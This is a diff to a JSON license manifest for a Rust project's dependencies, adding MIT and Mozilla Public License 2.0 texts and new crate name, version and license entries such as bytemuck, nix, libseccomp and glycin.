+      "text": "MIT License\n\nCopyright (c) 2017 Nikolai Vazquez\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "static_assertions", "version": "1.1.0" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1362,6 +1433,14 @@
         { "crate": { "name": "comfy-table", "version": "7.1.4" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "MIT License\n\nCopyright (c) 2019 Daniel \"Lokathor\" Gee.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice (including the next paragraph) shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "bytemuck", "version": "1.25.2" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1452,6 +1531,15 @@
         { "crate": { "name": "derive-where", "version": "1.7.0" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "MIT License\n\nCopyright (c) 2021 Sony Group Corporation\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.",
+      "used_by": [
+        { "crate": { "name": "libseccomp-sys", "version": "0.3.0" } },
+        { "crate": { "name": "libseccomp", "version": "0.4.0" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1476,6 +1564,14 @@
         { "crate": { "name": "bnum", "version": "0.13.0" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "MIT License\n\nCopyright (c) 2023 Marti Maria Saguer\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the \n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to \npermit persons to whom the Software is furnished to do so, subject\nto the following conditions:\n\nThe above copyright notice and this permission notice shall be \nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF \nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE \nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "lcms2-sys", "version": "4.0.7" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1568,12 +1664,16 @@
       "name": "MIT License",
       "text": "Permission is hereby granted, free of charge, to any\nperson obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the\nSoftware without restriction, including without\nlimitation the rights to use, copy, modify, merge,\npublish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software\nis furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice\nshall be included in all copies or substantial portions\nof the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\nANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\nTO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\nSHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\nIN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\nDEALINGS IN THE SOFTWARE.\n",
       "used_by": [
+        { "crate": { "name": "async-channel", "version": "2.5.0" } },
         { "crate": { "name": "async-lock", "version": "3.4.2" } },
+        { "crate": { "name": "async-task", "version": "4.7.1" } },
         { "crate": { "name": "async-trait", "version": "0.1.92" } },
         { "crate": { "name": "atomic-waker", "version": "1.1.2" } },
+        { "crate": { "name": "blocking", "version": "1.7.0" } },
         { "crate": { "name": "clickhouse-macros", "version": "0.3.0" } },
         { "crate": { "name": "clickhouse-types", "version": "0.1.3" } },
         { "crate": { "name": "clickhouse", "version": "0.15.2" } },
+        { "crate": { "name": "concurrent-queue", "version": "2.5.0" } },
         { "crate": { "name": "derive-syn-parse", "version": "0.2.0" } },
         { "crate": { "name": "displaydoc", "version": "0.2.7" } },
         { "crate": { "name": "dyn-clone", "version": "1.0.20" } },
@@ -1594,8 +1694,10 @@
         { "crate": { "name": "once_cell", "version": "1.21.4" } },
         { "crate": { "name": "ordered-stream", "version": "0.2.0" } },
         { "crate": { "name": "parking", "version": "2.2.1" } },
+        { "crate": { "name": "paste", "version": "1.0.15" } },
         { "crate": { "name": "pastey", "version": "0.2.3" } },
         { "crate": { "name": "pin-project-lite", "version": "0.2.17" } },
+        { "crate": { "name": "piper", "version": "0.2.5" } },
         { "crate": { "name": "portable-atomic", "version": "1.15.0" } },
         { "crate": { "name": "proc-macro-crate", "version": "3.5.0" } },
         { "crate": { "name": "proc-macro2", "version": "1.0.107" } },
@@ -1763,9 +1865,19 @@
         { "crate": { "name": "byteorder", "version": "1.5.0" } },
         { "crate": { "name": "csv-core", "version": "0.1.13" } },
         { "crate": { "name": "csv", "version": "1.4.0" } },
+        { "crate": { "name": "jiff-core", "version": "0.1.1" } },
+        { "crate": { "name": "jiff", "version": "0.2.37" } },
         { "crate": { "name": "memchr", "version": "2.8.3" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "The MIT License (MIT)\n\nCopyright (c) 2015 Carl Lerche + nix-rust Authors\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n",
+      "used_by": [
+        { "crate": { "name": "nix", "version": "0.30.1" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1874,6 +1986,7 @@
       "text": "The MIT License (MIT)\n\nCopyright (c) 2019 The Crossbeam Project Developers\n\nPermission is hereby granted, free of charge, to any\nperson obtaining a copy of this software and associated\ndocumentation files (the \"Software\"), to deal in the\nSoftware without restriction, including without\nlimitation the rights to use, copy, modify, merge,\npublish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software\nis furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice\nshall be included in all copies or substantial portions\nof the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\nANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\nTO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\nSHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR\nIN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\nDEALINGS IN THE SOFTWARE.\n",
       "used_by": [
         { "crate": { "name": "crossbeam-channel", "version": "0.5.17" } },
+        { "crate": { "name": "crossbeam-deque", "version": "0.8.8" } },
         { "crate": { "name": "crossbeam-epoch", "version": "0.9.21" } },
         { "crate": { "name": "crossbeam-queue", "version": "0.3.14" } },
         { "crate": { "name": "crossbeam-utils", "version": "0.8.23" } }
@@ -1912,6 +2025,14 @@
         { "crate": { "name": "crunchy", "version": "0.2.4" } }
       ]
     },
+    {
+      "id": "MIT",
+      "name": "MIT License",
+      "text": "The MIT License (MIT)\n\nCopyright 2019 YesLogic Pty. Ltd.\nCopyright 2016 Manuel Reinhardt\nCopyright 2014 Austin Bonander\nCopyright 2013 The Servo Project Developers.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n",
+      "used_by": [
+        { "crate": { "name": "yeslogic-fontconfig-sys", "version": "6.0.1" } }
+      ]
+    },
     {
       "id": "MIT",
       "name": "MIT License",
@@ -1953,6 +2074,18 @@
         { "crate": { "name": "libm", "version": "0.2.16" } }
       ]
     },
+    {
+      "id": "MPL-2.0",
+      "name": "Mozilla Public License 2.0",
+      "text": "Mozilla Public License Version 2.0\n==================================\n\n1. Definitions\n--------------\n\n1.1. \"Contributor\"\n    means each individual or legal entity that creates, contributes to\n    the creation of, or owns Covered Software.\n\n1.2. \"Contributor Version\"\n    means the combination of the Contributions of others (if any) used\n    by a Contributor and that particular Contributor's Contribution.\n\n1.3. \"Contribution\"\n    means Covered Software of a particular Contributor.\n\n1.4. \"Covered Software\"\n    means Source Code Form to which the initial Contributor has attached\n    the notice in Exhibit A, the Executable Form of such Source Code\n    Form, and Modifications of such Source Code Form, in each case\n    including portions thereof.\n\n1.5. \"Incompatible With Secondary Licenses\"\n    means\n\n    (a) that the initial Contributor has attached the notice described\n        in Exhibit B to the Covered Software; or\n\n    (b) that the Covered Software was made available under the terms of\n        version 1.1 or earlier of the License, but not also under the\n        terms of a Secondary License.\n\n1.6. \"Executable Form\"\n    means any form of the work other than Source Code Form.\n\n1.7. \"Larger Work\"\n    means a work that combines Covered Software with other material, in\n    a separate file or files, that is not Covered Software.\n\n1.8. \"License\"\n    means this document.\n\n1.9. \"Licensable\"\n    means having the right to grant, to the maximum extent possible,\n    whether at the time of the initial grant or subsequently, any and\n    all of the rights conveyed by this License.\n\n1.10. \"Modifications\"\n    means any of the following:\n\n    (a) any file in Source Code Form that results from an addition to,\n        deletion from, or modification of the contents of Covered\n        Software; or\n\n    (b) any new file in Source Code Form that contains any Covered\n        Software.\n\n1.11. \"Patent Claims\" of a Contributor\n    means any patent claim(s), including without limitation, method,\n    process, and apparatus claims, in any patent Licensable by such\n    Contributor that would be infringed, but for the grant of the\n    License, by the making, using, selling, offering for sale, having\n    made, import, or transfer of either its Contributions or its\n    Contributor Version.\n\n1.12. \"Secondary License\"\n    means either the GNU General Public License, Version 2.0, the GNU\n    Lesser General Public License, Version 2.1, the GNU Affero General\n    Public License, Version 3.0, or any later versions of those\n    licenses.\n\n1.13. \"Source Code Form\"\n    means the form of the work preferred for making modifications.\n\n1.14. \"You\" (or \"Your\")\n    means an individual or a legal entity exercising rights under this\n    License. For legal entities, \"You\" includes any entity that\n    controls, is controlled by, or is under common control with You. For\n    purposes of this definition, \"control\" means (a) the power, direct\n    or indirect, to cause the direction or management of such entity,\n    whether by contract or otherwise, or (b) ownership of more than\n    fifty percent (50%) of the outstanding shares or beneficial\n    ownership of such entity.\n\n2. License Grants and Conditions\n--------------------------------\n\n2.1. Grants\n\nEach Contributor hereby grants You a world-wide, royalty-free,\nnon-exclusive license:\n\n(a) under intellectual property rights (other than patent or trademark)\n    Licensable by such Contributor to use, reproduce, make available,\n    modify, display, perform, distribute, and otherwise exploit its\n    Contributions, either on an unmodified basis, with Modifications, or\n    as part of a Larger Work; and\n\n(b) under Patent Claims of such Contributor to make, use, sell, offer\n    for sale, have made, import, and otherwise transfer either its\n    Contributions or its Contributor Version.\n\n2.2. Effective Date\n\nThe licenses granted in Section 2.1 with respect to any Contribution\nbecome effective for each Contribution on the date the Contributor first\ndistributes such Contribution.\n\n2.3. Limitations on Grant Scope\n\nThe licenses granted in this Section 2 are the only rights granted under\nthis License. No additional rights or licenses will be implied from the\ndistribution or licensing of Covered Software under this License.\nNotwithstanding Section 2.1(b) above, no patent license is granted by a\nContributor:\n\n(a) for any code that a Contributor has removed from Covered Software;\n    or\n\n(b) for infringements caused by: (i) Your and any other third party's\n    modifications of Covered Software, or (ii) the combination of its\n    Contributions with other software (except as part of its Contributor\n    Version); or\n\n(c) under Patent Claims infringed by Covered Software in the absence of\n    its Contributions.\n\nThis License does not grant any rights in the trademarks, service marks,\nor logos of any Contributor (except as may be necessary to comply with\nthe notice requirements in Section 3.4).\n\n2.4. Subsequent Licenses\n\nNo Contributor makes additional grants as a result of Your choice to\ndistribute the Covered Software under a subsequent version of this\nLicense (see Section 10.2) or under the terms of a Secondary License (if\npermitted under the terms of Section 3.3).\n\n2.5. Representation\n\nEach Contributor represents that the Contributor believes its\nContributions are its original creation(s) or it has sufficient rights\nto grant the rights to its Contributions conveyed by this License.\n\n2.6. Fair Use\n\nThis License is not intended to limit any rights You have under\napplicable copyright doctrines of fair use, fair dealing, or other\nequivalents.\n\n2.7. Conditions\n\nSections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted\nin Section 2.1.\n\n3. Responsibilities\n-------------------\n\n3.1. Distribution of Source Form\n\nAll distribution of Covered Software in Source Code Form, including any\nModifications that You create or to which You contribute, must be under\nthe terms of this License. You must inform recipients that the Source\nCode Form of the Covered Software is governed by the terms of this\nLicense, and how they can obtain a copy of this License. You may not\nattempt to alter or restrict the recipients' rights in the Source Code\nForm.\n\n3.2. Distribution of Executable Form\n\nIf You distribute Covered Software in Executable Form then:\n\n(a) such Covered Software must also be made available in Source Code\n    Form, as described in Section 3.1, and You must inform recipients of\n    the Executable Form how they can obtain a copy of such Source Code\n    Form by reasonable means in a timely manner, at a charge no more\n    than the cost of distribution to the recipient; and\n\n(b) You may distribute such Executable Form under the terms of this\n    License, or sublicense it under different terms, provided that the\n    license for the Executable Form does not attempt to limit or alter\n    the recipients' rights in the Source Code Form under this License.\n\n3.3. Distribution of a Larger Work\n\nYou may create and distribute a Larger Work under terms of Your choice,\nprovided that You also comply with the requirements of this License for\nthe Covered Software. If the Larger Work is a combination of Covered\nSoftware with a work governed by one or more Secondary Licenses, and the\nCovered Software is not Incompatible With Secondary Licenses, this\nLicense permits You to additionally distribute such Covered Software\nunder the terms of such Secondary License(s), so that the recipient of\nthe Larger Work may, at their option, further distribute the Covered\nSoftware under the terms of either this License or such Secondary\nLicense(s).\n\n3.4. Notices\n\nYou may not remove or alter the substance of any license notices\n(including copyright notices, patent notices, disclaimers of warranty,\nor limitations of liability) contained within the Source Code Form of\nthe Covered Software, except that You may alter any license notices to\nthe extent required to remedy known factual inaccuracies.\n\n3.5. Application of Additional Terms\n\nYou may choose to offer, and to charge a fee for, warranty, support,\nindemnity or liability obligations to one or more recipients of Covered\nSoftware. However, You may do so only on Your own behalf, and not on\nbehalf of any Contributor. You must make it absolutely clear that any\nsuch warranty, support, indemnity, or liability obligation is offered by\nYou alone, and You hereby agree to indemnify every Contributor for any\nliability incurred by such Contributor as a result of warranty, support,\nindemnity or liability terms You offer. You may include additional\ndisclaimers of warranty and limitations of liability specific to any\njurisdiction.\n\n4. Inability to Comply Due to Statute or Regulation\n---------------------------------------------------\n\nIf it is impossible for You to comply with any of the terms of this\nLicense with respect to some or all of the Covered Software due to\nstatute, judicial order, or regulation then You must: (a) comply with\nthe terms of this License to the maximum extent possible; and (b)\ndescribe the limitations and the code they affect. Such description must\nbe placed in a text file included with all distributions of the Covered\nSoftware under this License. Except to the extent prohibited by statute\nor regulation, such description must be sufficiently detailed for a\nrecipient of ordinary skill to be able to understand it.\n\n5. Termination\n--------------\n\n5.1. The rights granted under this License will terminate automatically\nif You fail to comply with any of its terms. However, if You become\ncompliant, then the rights granted under this License from a particular\nContributor are reinstated (a) provisionally, unless and until such\nContributor explicitly and finally terminates Your grants, and (b) on an\nongoing basis, if such Contributor fails to notify You of the\nnon-compliance by some reasonable means prior to 60 days after You have\ncome back into compliance. Moreover, Your grants from a particular\nContributor are reinstated on an ongoing basis if such Contributor\nnotifies You of the non-compliance by some reasonable means, this is the\nfirst time You have received notice of non-compliance with this License\nfrom such Contributor, and You become compliant prior to 30 days after\nYour receipt of the notice.\n\n5.2. If You initiate litigation against any entity by asserting a patent\ninfringement claim (excluding declaratory judgment actions,\ncounter-claims, and cross-claims) alleging that a Contributor Version\ndirectly or indirectly infringes any patent, then the rights granted to\nYou by any and all Contributors for the Covered Software under Section\n2.1 of this License shall terminate.\n\n5.3. In the event of termination under Sections 5.1 or 5.2 above, all\nend user license agreements (excluding distributors and resellers) which\nhave been validly granted by You or Your distributors under this License\nprior to termination shall survive termination.\n\n************************************************************************\n*                                                                      *\n*  6. Disclaimer of Warranty                                           *\n*  -------------------------                                           *\n*                                                                      *\n*  Covered Software is provided under this License on an \"as is\"       *\n*  basis, without warranty of any kind, either expressed, implied, or  *\n*  statutory, including, without limitation, warranties that the       *\n*  Covered Software is free of defects, merchantable, fit for a        *\n*  particular purpose or non-infringing. The entire risk as to the     *\n*  quality and performance of the Covered Software is with You.        *\n*  Should any Covered Software prove defective in any respect, You     *\n*  (not any Contributor) assume the cost of any necessary servicing,   *\n*  repair, or correction. This disclaimer of warranty constitutes an   *\n*  essential part of this License. No use of any Covered Software is   *\n*  authorized under this License except under this disclaimer.         *\n*                                                                      *\n************************************************************************\n\n************************************************************************\n*                                                                      *\n*  7. Limitation of Liability                                          *\n*  --------------------------                                          *\n*                                                                      *\n*  Under no circumstances and under no legal theory, whether tort      *\n*  (including negligence), contract, or otherwise, shall any           *\n*  Contributor, or anyone who distributes Covered Software as          *\n*  permitted above, be liable to You for any direct, indirect,         *\n*  special, incidental, or consequential damages of any character      *\n*  including, without limitation, damages for lost profits, loss of    *\n*  goodwill, work stoppage, computer failure or malfunction, or any    *\n*  and all other commercial damages or losses, even if such party      *\n*  shall have been informed of the possibility of such damages. This   *\n*  limitation of liability shall not apply to liability for death or   *\n*  personal injury resulting from such party's negligence to the       *\n*  extent applicable law prohibits such limitation. Some               *\n*  jurisdictions do not allow the exclusion or limitation of           *\n*  incidental or consequential damages, so this exclusion and          *\n*  limitation may not apply to You.                                    *\n*                                                                      *\n************************************************************************\n\n8. Litigation\n-------------\n\nAny litigation relating to this License may be brought only in the\ncourts of a jurisdiction where the defendant maintains its principal\nplace of business and such litigation shall be governed by laws of that\njurisdiction, without reference to its conflict-of-law provisions.\nNothing in this Section shall prevent a party's ability to bring\ncross-claims or counter-claims.\n\n9. Miscellaneous\n----------------\n\nThis License represents the complete agreement concerning the subject\nmatter hereof. If any provision of this License is held to be\nunenforceable, such provision shall be reformed only to the extent\nnecessary to make it enforceable. Any law or regulation which provides\nthat the language of a contract shall be construed against the drafter\nshall not be used to construe this License against a Contributor.\n\n10. Versions of the License\n---------------------------\n\n10.1. New Versions\n\nMozilla Foundation is the license steward. Except as provided in Section\n10.3, no one other than the license steward has the right to modify or\npublish new versions of this License. Each version will be given a\ndistinguishing version number.\n\n10.2. Effect of New Versions\n\nYou may distribute the Covered Software under the terms of the version\nof the License under which You originally received the Covered Software,\nor under the terms of any subsequent version published by the license\nsteward.\n\n10.3. Modified Versions\n\nIf you create software not governed by this License, and you want to\ncreate a new license for such software, you may create and use a\nmodified version of this License if you rename the license and remove\nany references to the name of the license steward (except to note that\nsuch modified license differs from this License).\n\n10.4. Distributing Source Code Form that is Incompatible With Secondary\nLicenses\n\nIf You choose to distribute Source Code Form that is Incompatible With\nSecondary Licenses under the terms of this version of the License, the\nnotice described in Exhibit B of this License must be attached.\n\nExhibit A - Source Code Form License Notice\n-------------------------------------------\n\n  This Source Code Form is subject to the terms of the Mozilla Public\n  License, v. 2.0. If a copy of the MPL was not distributed with this\n  file, You can obtain one at https://mozilla.org/MPL/2.0/.\n\nIf it is not possible or desirable to put the notice in a particular\nfile, then You may include the notice in a location (such as a LICENSE\nfile in a relevant directory) where a recipient would be likely to look\nfor such a notice.\n\nYou may add additional accurate notices of copyright ownership.\n\nExhibit B - \"Incompatible With Secondary Licenses\" Notice\n---------------------------------------------------------\n\n  This Source Code Form is \"Incompatible With Secondary Licenses\", as\n  defined by the Mozilla Public License, v. 2.0.\n",
+      "used_by": [
+        { "crate": { "name": "glycin-common", "version": "1.0.4" } },
+        { "crate": { "name": "glycin-utils", "version": "4.1.0" } },
+        { "crate": { "name": "glycin", "version": "3.1.0" } },
+        { "crate": { "name": "gufo-common", "version": "1.1.0" } },
+        { "crate": { "name": "gufo-exif", "version": "0.4.0" } }
+      ]
+    },
     {
       "id": "Unicode-3.0",
       "name": "Unicode License v3",
@@ -2272,8 +2405,10 @@
     { "name": "arrow-string", "version": "58.4.0", "license": "Apache-2.0" },
     { "name": "ashpd", "version": "0.13.13", "license": "MIT" },
     { "name": "async-broadcast", "version": "0.7.2", "license": "MIT OR Apache-2.0" },
+    { "name": "async-channel", "version": "2.5.0", "license": "Apache-2.0 OR MIT" },
     { "name": "async-lock", "version": "3.4.2", "license": "Apache-2.0 OR MIT" },
     { "name": "async-recursion", "version": "1.1.1", "license": "MIT OR Apache-2.0" },
+    { "name": "async-task", "version": "4.7.1", "license": "Apache-2.0 OR MIT" },
     { "name": "async-trait", "version": "0.1.92", "license": "MIT OR Apache-2.0" },
     { "name": "asynchronous-codec", "version": "0.7.0", "license": "MIT" },
     { "name": "atoi", "version": "2.0.0", "license": "MIT" },
@@ -2288,10 +2423,12 @@
     { "name": "block-buffer", "version": "0.10.4", "license": "MIT OR Apache-2.0" },
     { "name": "block-buffer", "version": "0.12.1", "license": "MIT OR Apache-2.0" },
     { "name": "block-padding", "version": "0.3.3", "license": "MIT OR Apache-2.0" },
+    { "name": "blocking", "version": "1.7.0", "license": "Apache-2.0 OR MIT" },
     { "name": "bnum", "version": "0.13.0", "license": "MIT OR Apache-2.0" },
     { "name": "bson", "version": "3.1.0", "license": "MIT" },
     { "name": "bstr", "version": "1.13.1", "license": "MIT OR Apache-2.0" },
     { "name": "bumpalo", "version": "3.20.3", "license": "MIT OR Apache-2.0" },
+    { "name": "bytemuck", "version": "1.25.2", "license": "Zlib OR Apache-2.0 OR MIT" },
     { "name": "byteorder", "version": "1.5.0", "license": "Unlicense OR MIT" },
     { "name": "bytes", "version": "1.12.1", "license": "MIT" },
     { "name": "cairo-rs", "version": "0.22.9", "license": "MIT" },
@@ -2308,6 +2445,7 @@
     { "name": "cmov", "version": "0.5.4", "license": "Apache-2.0 OR MIT" },
     { "name": "combine", "version": "4.6.8", "license": "MIT" },
     { "name": "comfy-table", "version": "7.1.4", "license": "MIT" },
+    { "name": "concurrent-queue", "version": "2.5.0", "license": "Apache-2.0 OR MIT" },
     { "name": "connection-string", "version": "0.2.0", "license": "MIT OR Apache-2.0" },
     { "name": "const-oid", "version": "0.9.6", "license": "Apache-2.0 OR MIT" },
     { "name": "const-oid", "version": "0.10.2", "license": "Apache-2.0 OR MIT" },
@@ -2323,6 +2461,7 @@
     { "name": "crc32fast", "version": "1.5.2", "license": "MIT OR Apache-2.0" },
     { "name": "critical-section", "version": "1.2.0", "license": "MIT OR Apache-2.0" },
     { "name": "crossbeam-channel", "version": "0.5.17", "license": "MIT OR Apache-2.0" },
+    { "name": "crossbeam-deque", "version": "0.8.8", "license": "MIT OR Apache-2.0" },
     { "name": "crossbeam-epoch", "version": "0.9.21", "license": "MIT OR Apache-2.0" },
     { "name": "crossbeam-queue", "version": "0.3.14", "license": "MIT OR Apache-2.0" },
     { "name": "crossbeam-utils", "version": "0.8.23", "license": "MIT OR Apache-2.0" },
@@ -2354,6 +2493,7 @@
     { "name": "digest", "version": "0.10.7", "license": "MIT OR Apache-2.0" },
     { "name": "digest", "version": "0.11.3", "license": "MIT OR Apache-2.0" },
     { "name": "displaydoc", "version": "0.2.7", "license": "MIT OR Apache-2.0" },
+    { "name": "dlib", "version": "0.5.3", "license": "MIT" },
     { "name": "dotenvy", "version": "0.15.7", "license": "MIT" },
     { "name": "duckdb", "version": "1.10506.1", "license": "MIT" },
     { "name": "dyn-clone", "version": "1.0.20", "license": "MIT OR Apache-2.0" },
@@ -2362,6 +2502,8 @@
     { "name": "endi", "version": "1.1.1", "license": "MIT" },
     { "name": "enumflags2", "version": "0.7.12", "license": "MIT OR Apache-2.0" },
     { "name": "enumflags2_derive", "version": "0.7.12", "license": "MIT OR Apache-2.0" },
+    { "name": "env_filter", "version": "2.0.0", "license": "MIT OR Apache-2.0" },
+    { "name": "env_logger", "version": "0.11.11", "license": "MIT OR Apache-2.0" },
     { "name": "equivalent", "version": "1.0.2", "license": "Apache-2.0 OR MIT" },
     { "name": "errno", "version": "0.3.14", "license": "MIT OR Apache-2.0" },
     { "name": "event-listener", "version": "5.4.2", "license": "Apache-2.0 OR MIT" },
@@ -2377,6 +2519,9 @@
     { "name": "flume", "version": "0.12.0", "license": "Apache-2.0 OR MIT" },
     { "name": "foldhash", "version": "0.1.5", "license": "Zlib" },
     { "name": "foldhash", "version": "0.2.0", "license": "Zlib" },
+    { "name": "foreign-types", "version": "0.5.0", "license": "MIT OR Apache-2.0" },
+    { "name": "foreign-types-macros", "version": "0.2.4", "license": "MIT OR Apache-2.0" },
+    { "name": "foreign-types-shared", "version": "0.3.1", "license": "MIT OR Apache-2.0" },
     { "name": "form_urlencoded", "version": "1.2.2", "license": "MIT OR Apache-2.0" },
     { "name": "fragile", "version": "2.1.0", "license": "Apache-2.0" },
     { "name": "funty", "version": "2.0.0", "license": "MIT" },
@@ -2409,6 +2554,9 @@
     { "name": "glib", "version": "0.22.9", "license": "MIT" },
     { "name": "glib-macros", "version": "0.22.9", "license": "MIT" },
